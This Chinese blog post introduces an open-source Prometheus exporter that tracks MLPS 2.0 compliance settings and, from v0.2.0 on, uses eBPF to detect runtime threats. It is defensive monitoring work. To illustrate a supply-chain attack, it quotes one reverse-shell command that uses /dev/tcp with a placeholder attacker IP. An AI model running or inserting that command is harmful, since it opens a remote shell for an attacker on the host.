从过等保到实时防御:security-collector-exporter 的进化

起因:等保检查的那点事

做运维的都知道,国内服务器逃不过一道坎:网络安全等级保护(GB/T 22239-2019,俗称等保 2.0)。不管你是三级还是二级,测评机构来了都得查这几样东西:

  • SSH 有没有禁 root 登录、密码策略合不合规范
  • 防火墙开没开、SELinux 是不是 enforcing
  • 有没有过期账户、密码有效期多少天
  • 端口开了哪些、有没有高危服务在跑
  • 审计日志开了没、保留多长时间

市面上有不少等保检查工具,GitHub 上搜一搜就能找到一堆——GolinEvaluationToolsLinux-Security-Compliance-Check 等等。但它们都有一个共同的局限:跑一遍出个报告就完了。今天查完合规,明天有人改了 sshd_config、关了防火墙、装了个后门服务,你根本不知道。

security-collector-exporter v0.1.0 的出发点很简单:把这些安全配置状态全部变成 Prometheus 指标,接入现有的监控体系,持续跟踪,自动告警。不是"查一次",而是"盯着看"。

覆盖了等保 2.0 里 Linux 主机层面的主要检查项:

等保检查领域对应指标持续监控能发现的问题
身份鉴别密码策略、shadow 字段有人改了密码有效期、创建了弱策略账户
访问控制SSH 配置、hosts.allow/denyRoot 登录被重新开启、访问控制被放宽
安全审计auditd 状态、crontab 条目审计服务被停掉、加了可疑定时任务
入侵防范防火墙状态、SELinux 模式防火墙被关、SELinux 切到 permissive
网络安全端口列表、服务状态新开了高危端口、启动了不该跑的服务

配合 Prometheus 告警规则,配置一变就能发现。等保测评的时候直接拉 Grafana 面板出来就行,不用临时 SSH 上去一台一台查。

v0.1.0 解决了一个很具体的痛点。但用着用着就发现:静态配置检查只覆盖了"合规"这一面,安全事件的另一面完全看不到。

静态检查看不到的盲区

举个真实的例子。2024 年有一个 Python 供应链攻击事件:一个被植入恶意代码的第三方库,在运行时通过 execve 调用弹了一个反弹 shell:

bash
1
/bin/sh -c "bash -i >& /dev/tcp/攻击者IP/端口 0>&1"

这种攻击,传统的安全基线检查完全看不到

  • SSH 配置没问题 ✓
  • 防火墙开着 ✓
  • SELinux enforcing ✓
  • 密码策略合规 ✓

你的服务器从合规角度完全没毛病,但攻击已经在进行了。

类似的场景还有很多:

  • 容器逃逸:一个 Pod 里的进程通过内核漏洞提权到宿主机
  • 内核模块后门:有人 insmod 加载了一个 rootkit 内核模块
  • 异常网络连接:业务容器突然开始连外部可疑 IP
  • 敏感文件读取:非授权进程在读 /etc/shadow 或私钥文件
  • 暴力提权:有人在反复尝试 setuid / capset

这些全是运行时事件——发生了就过去了,你下次做基线检查的时候根本看不到痕迹。Linux 自带的 auditd 能记录一部分,但它是面向传统主机的,不了解容器和 Kubernetes 的上下文,在高负载下会丢事件,而且跨 namespace 追溯进程链路基本做不到。

这正是 eBPF 能发力的地方。

eBPF:内核级的实时安全监控

eBPF 的核心能力是:在内核态挂载到各种 hook 点(tracepoint、kprobe),事件发生时直接在内核里完成数据聚合,零拷贝、低开销,不需要把每个事件都送到用户态。

Cilium 旗下的 Tetragon 是这个方向上最知名的开源项目,在 Kubernetes 安全领域已经被广泛采用。有一个生产环境的案例:3000 节点的集群里,Tetragon 检测到了一个被供应链攻击的 Python 库弹出的反弹 shell——从事件发生到定位只用了 4 分钟。如果用传统的 audit 日志,追溯同样的事件可能需要一天。

但 Tetragon 是面向 Kubernetes 的,偏重策略执行(enforcement),而且部署和配置有一定门槛。很多场景其实不需要那么重——你可能只是想在现有的 Prometheus 监控体系上加一层安全事件感知,不需要完整的策略引擎。

security-collector-exporter 从 v0.2.0 开始加入了 eBPF 支持,做的事情更轻量但很实用:

五类实时安全事件

text
1
2
3
4
5
进程追踪    → 谁在执行什么?容器里弹了 shell 吗?
网络连接    → 谁在连外部?有异常出站吗?
文件访问    → 谁在读敏感文件?/etc/shadow 被谁碰了?
提权检测    → 有人在 setuid/capset 吗?成功还是失败?
内核模块    → 有内核模块被加载吗?

和静态采集的组合拳

有意思的是 eBPF 指标和静态指标组合起来用的时候,效果不是 1+1=2,是 1+1>2:

promql
1
2
3
4
5
6
7
# 静态指标:防火墙开着 ✓
linux_security_firewall_enabled{is_running="true"} == 1

# eBPF 指标:但有人尝试连接外部可疑端口
increase(security_ebpf_connect_total{direction="out"}[5m]) > 100

# 组合:防火墙合规 + 异常出站流量 → 可能已经有进程绕过了防火墙规则

或者:

promql
1
2
3
4
5
6
7
# 静态指标:SSH 配置合规
linux_security_sshd_config_info{info_key="PermitRootLogin", info_value="no"} == 1

# eBPF 指标:但有进程尝试 setuid 到 root
increase(security_ebpf_privilege_escalation_total{type="setuid", result="failure"}[10m]) > 10

# 组合:SSH 加固了但有人在暴力提权 → 可能存在其他入口被利用

静态指标告诉你"配置对不对",eBPF 指标告诉你"实际发生了什么"。两个维度合在一起,才能得到真正的安全态势感知。

从 v0.1.0 到 v0.3.0

text
1
2
3
4
5
v0.1.0    静态安全配置采集,15 类指标,面向等保合规
v0.2.0    加入 eBPF,5 类 BPF 程序,实时安全事件监控
v0.3.0    修 bug、ARM 兼容、生产级稳定性

v0.2.0 是功能版本,eBPF 的核心能力都在这里了,但发布后在真实环境里跑出了不少问题:BPF 程序里有内核结构体字段引用错误、UDP kprobe 在目标内核上不存在、ARM 设备上版本探测会卡住整个采集周期。v0.3.0 花了一天时间把这些硬茬全修了——BPF map 从 PERCPU_ARRAY 换成 PERCPU_HASH 解决竞争条件、加了 PID hash map 做进程 exit 分类、Aggregator 重写加了 delta 追踪、版本探测加了超时和缓存。

v0.3.0 是第一个可以在生产环境放心跑的版本。

覆盖的场景

一张图说清楚现在能管哪些事:

场景静态指标 (v0.1.0)eBPF 指标 (v0.3.0)
等保 2.0 合规检查-
SSH/防火墙/SELinux 配置偏移检测-
密码策略和账户生命周期监控-
端口和服务变更追踪-
反弹 shell / 可疑进程检测-
容器异常行为监控-
提权攻击检测-
内核模块后门检测-
敏感文件越权访问-
异常出站连接检测-
安全态势评分✅(组合使用)

从"过等保"到"持续安全监控",工具没变,能力上了一个台阶。

谁适合用

  • 等保合规场景:需要持续证明安全配置合规的团队,不再为每次测评临时抱佛脚
  • 运维安全团队:已经用 Prometheus + Grafana 监控基础设施,想加一层安全感知
  • 容器化环境:需要知道容器里在跑什么、连了谁、有没有异常行为
  • 中小规模服务器管理:不需要上完整的 SIEM 或 SOAR 平台,但需要基本的安全可观测性
  • 安全研究 / 教学场景:想了解 eBPF 能在安全领域做什么,这是一个可以上手玩的轻量实现

快速开始

bash
1
2
3
4
5
6
7
# Docker 一行启动(含 eBPF)
docker run -d \
  --name security-exporter \
  --privileged \
  -p 9102:9102 \
  ghcr.io/mickeyzzc/security-collector-exporter:0.3.0 \
  --ebpf.enabled

不开 --ebpf.enabled 就是纯静态采集模式,和 v0.1.0 完全兼容。

项目地址:

如果觉得有用,欢迎 star、提 issue 或者 PR。